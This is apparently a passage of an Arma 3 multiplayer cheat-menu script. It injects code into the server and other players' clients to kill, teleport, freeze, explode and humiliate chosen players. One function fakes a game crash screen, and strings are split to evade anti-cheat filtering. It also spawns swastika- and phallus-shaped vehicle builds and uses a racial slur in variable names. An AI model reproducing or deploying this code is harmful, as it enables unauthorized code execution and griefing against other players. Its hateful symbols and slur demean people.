- GEF_Swasticopter = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- closeDialog 0;
- _pos = getPos Player;
- _dir = getdir vehicle player;
- _pos = [(_pos select 0)+8*sin(_dir),(_pos select 1)+8*cos(_dir),5];
- _origX= _pos select 0;
- _origY= _pos select 1;
- _origZ= _pos select 2;
- _moveX = 0;
- _moveZ = 0;
- _movepos = _pos select 0;
- _origPos = _pos;
- _origObject = createVehicle ['B_Heli_Light_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- ABC = {
- _movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX + 1;
- _object1 attachTo [_origObject,[_moveX,0,0]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX + 1;
- _object1 attachTo [_origObject,[_moveX,0,0]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX + 1;
- _object1 attachTo [_origObject,[_moveX,0,0]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX + 1;
- _object1 attachTo [_origObject,[_moveX,0,0]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX + 1;
- _object1 attachTo [_origObject,[_moveX,0,0]];
- };
- ABC2 = {
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 0;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[0,0,_moveZ]];
- };
- ABC3 = {
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,5]];
- };
- ABC4 = {
- _moveX = 0;
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,10]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,10]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,10]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,10]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveX = _moveX - 1;
- _object1 attachTo [_origObject,[_moveX,0,10]];
- };
- ABC5 = {
- _moveZ = -1;
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[-5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[-5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[-5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[-5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[-5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[-5,0,_moveZ]];
- };
- ABC6 = {
- _moveZ = 5;
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[5,0,_moveZ]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos, [], 0, 'CAN_COLLIDE'];_movepos = _movepos + 3;_pos = [_movepos,_pos select 1,_pos select 2];
- _moveZ = _moveZ + 1;
- _object1 attachTo [_origObject,[5,0,_moveZ]];
- };
- Call ABC;
- Call ABC2;
- Call ABC3;
- Call ABC4;
- Call ABC5;
- Call ABC6;
- player action ['getInDriver',_origObject];
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_InvisTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this select 0;
- _hide = _this select 1;
- _object hideObject _hide;
- };
- };
- [_code,true] call GEF_Rmote;
- [format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};[objectfromnetid '%1',true] spawn LY_InvisTarget;",netid _origObject],true] call GEF_Rmote;
- //[[_origObject,true],"LY_InvisTarget",true,false] call mp_runFunc;
- };
- GEF_Dickopter = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- closeDialog 0;
- _pos = getPos Player;
- _dir = getdir vehicle player;
- _pos = [(_pos select 0)+8*sin(_dir),(_pos select 1)+8*cos(_dir),5];
- _pos2 = [0,0,0];
- _origObject = createVehicle ['B_Heli_Light_01_F', _pos, [], 0, 'CAN_COLLIDE'];
- ABC = {
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[4,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[1,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[4,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[1,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-4,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-1,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-4,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-1,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-2,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[2,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-2,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[2,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-3,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[3,0,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-3,0,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[3,0,2]];
- };
- ABC2 = {
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[4,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[1,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[4,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[1,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-4,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-1,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-4,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-1,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-2,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[2,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-2,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[2,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-3,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[3,-1,2]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[-3,-1,1]];
- _object1 = createVehicle ['C_Quadbike_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[3,-1,1]];
- };
- ABC3={
- _object1 = createVehicle ['B_SDV_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[0,2,3]];
- _object1 = createVehicle ['B_SDV_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[0,6,3]];
- _object1 = createVehicle ['B_SDV_01_F', _pos2, [], 0, 'CAN_COLLIDE'];
- _object1 attachTo [_origObject,[0,10,3]];
- };
- Call ABC;
- Call ABC2;
- Call ABC3;
- player action ['getInDriver',_origObject];
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_InvisTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this select 0;
- _hide = _this select 1;
- _object hideObject _hide;
- };
- };
- [_code,true] call GEF_Rmote;
- [format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};[objectfromnetid '%1',true] spawn LY_InvisTarget;",netid _origObject],true] call GEF_Rmote;
- };
- GEF_SpawnWeapon = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _weapon = _this;
- _veh = objnull;
- call compile ('
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _veh = createVe'+'hicle ["grou'+'ndWeaponHo'+'lder",position player,[],0,"CAN_COLLIDE"];
- ');
- _veh setposatl (getposatl player);
- _veh addWeaponCargoGlobal [_weapon,1];
- _mags = getArray(configfile >> 'cfgWeapons' >> _weapon >> 'magazines');
- _mag = _mags select 0;
- if(!isNil {_mag}) then {
- _veh addMagazineCargoGlobal [_mag,5];
- };
- hint format["Weapon Spawned\n\n(look around on the ground!)"];
- };
- GEF_SpawnVehicle = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNil 'LY_PublishInjected') then {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- [{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile ("
- _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- Publish_Vehicle = {
- _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- _name = _this select 0;
- _pos = _this select 1;
- _dir = _this select 2;
- _obj = _name create" + "Vehicle _pos;
- _obj setDir _dir;
- };
- ");
- },false] call GEF_Rmote;
- LY_PublishInjected = true;
- uisleep 1;
- };
- _veh_type_LPMEnigg4=_this;
- hint format["spawning %1",_veh_type_LPMEnigg4];
- _dir = getdir vehicle player;
- _poGEF_LP = getPos vehicle player;
- _poGEF_LP = [(_poGEF_LP select 0)+8*sin(_dir),(_poGEF_LP select 1)+8*cos(_dir),0];
- _xpos = _poGEF_LP select 0;
- _ypos = _poGEF_LP select 1;
- _zpos = _poGEF_LP select 2;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + (str [_veh_type_LPMEnigg4, [_xpos,_ypos,_zpos],_dir]) + " spawn Publish_Vehicle;");
- [_code,false] call GEF_Rmote;
- cutText [format["%1 spawned",_veh_type_LPMEnigg4], "PLAIN DOWN"];
- };
- GEF_NeutralizeTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this call mp_GetObject;
- [_target] call bis_fnc_NeutralizeUnit;
- ['TaskSucceeded',['','The Target Has Been Neutralized!']] call bis_fnc_showNotification;
- };
- GEF_SheepBombTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(isNil "LY_SheepBombsInit") then {
- LY_SheepBombsInit = true;
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_SheepBombs = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this;
- for '_i' from 0 to 10 do {
- _agent = createAgent ["Sheep_random_F",(getpos _target),[],0,"NONE"];
- [_agent] spawn {
- sleep 5+(random 5);
- _agent = _this select 0;
- _pos = getpos _agent;
- _agent setDamage 1;
- deleteVehicle _agent;
- "HelicopterExploSmall" createVehicle _pos;
- };
- };
- };
- };
- [_code,false] call GEF_Rmote;
- };
- _target = _this call mp_GetObject;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_target = objnull; {if(name _x == '"+_this+"') then {_target = _x;};} forEach playableunits; _target spawn LY_SheepBombs;");
- [_code,false] call GEF_Rmote;
- ['TaskSucceeded',['','Sheepy Sheepy Boomy Boomy >:)']] call bis_fnc_showNotification;
- };
- GEF_RainBowTarget = {
- _toServer = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- Rainbow_Unit = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this;
- sleep 0.01;
- while{true} do {
- _alive = alive _target;
- if(!_alive) exitwith {};
- _color = format['#(rgb,8,8,3)color(%1,%2,%3,1)',random(1),random(1),random(1)];
- Set_Texture = [_target,[_color,_color,_color,_color,_color]];
- publicVariable "Set_Texture";
- sleep 1;
- };
- };
- };
- _toClients = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- "Set_Texture" addPublicVariableEventHandler {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _arr = _this select 1;
- _arr spawn bis_fnc_setObjectTexture;
- };
- };
- [_toServer,false] call GEF_Rmote;
- [_toClients,true] call GEF_Rmote;
- _target = _this call mp_GetObject;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_target = objnull; {if(name _x == '"+_this+"') then {_target = _x;};} forEach playableunits; _target spawn Rainbow_Unit;");
- [_code,false] call GEF_Rmote;
- ['TaskSucceeded',['','The Target Is Now Rainbowy!']] call bis_fnc_showNotification;
- };
- GEF_LightningStrikeTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this call mp_GetObject;
- _pos = getpos _target;
- _bolt = "LightningBolt" createVehicle _pos;
- _bolt setdamage 1;
- _light = "#lightpoint" createVehicle _pos;
- _light setposatl [_pos select 0,_pos select 1,(_pos select 2) + 10];
- _light setLightDayLight true;
- _light setLightBrightness 300;
- _light setLightAmbient [0.05, 0.05, 0.1];
- _light setlightcolor [1, 1, 2];
- sleep 0.1;
- _light setLightBrightness 0;
- sleep (random 0.1);
- _class = ["lightning1_F","lightning2_F"] call bis_Fnc_selectrandom;
- _lightning = _class createVehicle _pos;
- _duration = if (isnull cursortarget) then {(3 + random 1)} else {1};
- for "_i" from 0 to _duration do {
- _time = time + 0.1;
- _light setLightBrightness (100 + random 100);
- waituntil {
- time > _time
- };
- };
- deletevehicle _lightning;
- deletevehicle _light;
- };
- GEF_TPTOTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target_peter_cus = _this;
- {
- if(name _x == _target_peter_cus) then {
- _pos = getPos player;
- _pos = [_pos select 0, _pos select 1, -100];
- _aim_cause_pete_saysSO_cus = (vehicle player);
- if (true) then
- {
- _aim_cause_pete_saysSO_cus setPosASL _pos;
- };
- _pos = getPos vehicle _x;
- _dir_of_the_nigger_cus = getDir vehicle _x;
- if (_x != vehicle _x) then
- {
- _pos = [(_pos select 0)-8*sin(_dir_of_the_nigger_cus),(_pos select 1)-8*cos(_dir_of_the_nigger_cus),(_pos select 2)+1];
- }
- else
- {
- _pos = [(_pos select 0)-2*sin(_dir_of_the_nigger_cus),(_pos select 1)-2*cos(_dir_of_the_nigger_cus),(_pos select 2)+1];
- };
- if (true) then
- {
- _aim_cause_pete_saysSO_cus setPosASL _pos;
- _aim_cause_pete_saysSO_cus setDir _dir_of_the_nigger_cus;
- };
- };
- } forEach playableUnits;
- };
- GEF_TPTargetTO = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target_sayGEF_peter = _this;
- {
- if(name _x == _target_sayGEF_peter) then {
- _pos = getPos _X;
- _pos = [_pos select 0, _pos select 1, -100];
- _aim_peterSays = (vehicle _x);
- if (true) then
- {
- _aim_peterSays setPosASL _pos;
- };
- _pos = getPos vehicle player;
- _dir = getDir vehicle player;
- if (player != vehicle player) then
- {
- _pos = [(_pos select 0)+8*sin(_dir),(_pos select 1)+8*cos(_dir),(_pos select 2)+1];
- }
- else
- {
- _pos = [(_pos select 0)+2*sin(_dir),(_pos select 1)+2*cos(_dir),(_pos select 2)+1];
- };
- if (true) then
- {
- _aim_peterSays setPosASL _pos;
- };
- };
- } forEach playableUnits;
- };
- GEF_LockTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _name = _this;
- {
- if(name _x == _name) then {
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};disableUserInput true;},_x] call GEF_Rmote;
- };
- }foreach playableUnits;
- };
- GEF_UnlockTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _name = _this;
- {
- if(name _x == _name) then {
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};disableUserInput false;},_x] call GEF_Rmote;
- };
- }foreach playableUnits;
- };
- GEF_SpectateTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _name = _this;
- {
- if(name _x == _name) then
- {
- _x switchCamera "EXTERNAL";
- hint format ["Spectating %1, press F10 to cancel", name _x];
- };
- } forEach playableUnits;
- (findDisplay 46) displayAddEventHandler ['KeyDown', ' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};if ((_this select 1) == 0x44) then
- {
- player switchCamera "EXTERNAL";
- }'];
- };
- GEF_KillTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this call mp_GetObject;
- [{ _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};player setDamage 1;},_target] call GEF_Rmote;
- };
- GEF_ExplodeTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target = _this call mp_GetObject;
- _object = "HelicopterExploSmall" createvehiclelocal (getPosatl _target);
- };
- GEF_FuckTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};[] spawn{startLoadingScreen ['Arma Crashed'];removeAllWeapons player;removeAllItems player;removeBackpack player;0 fadeSound 0;_unit = player;_unit setDamage 1;for '_i' from 0 to 100 do {(findDisplay _i) closeDisplay 0;};};};
- _target = _this call mp_GetObject;
- [_code,_target] call GEF_Rmote;
- };
- GEF_Paradrop = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
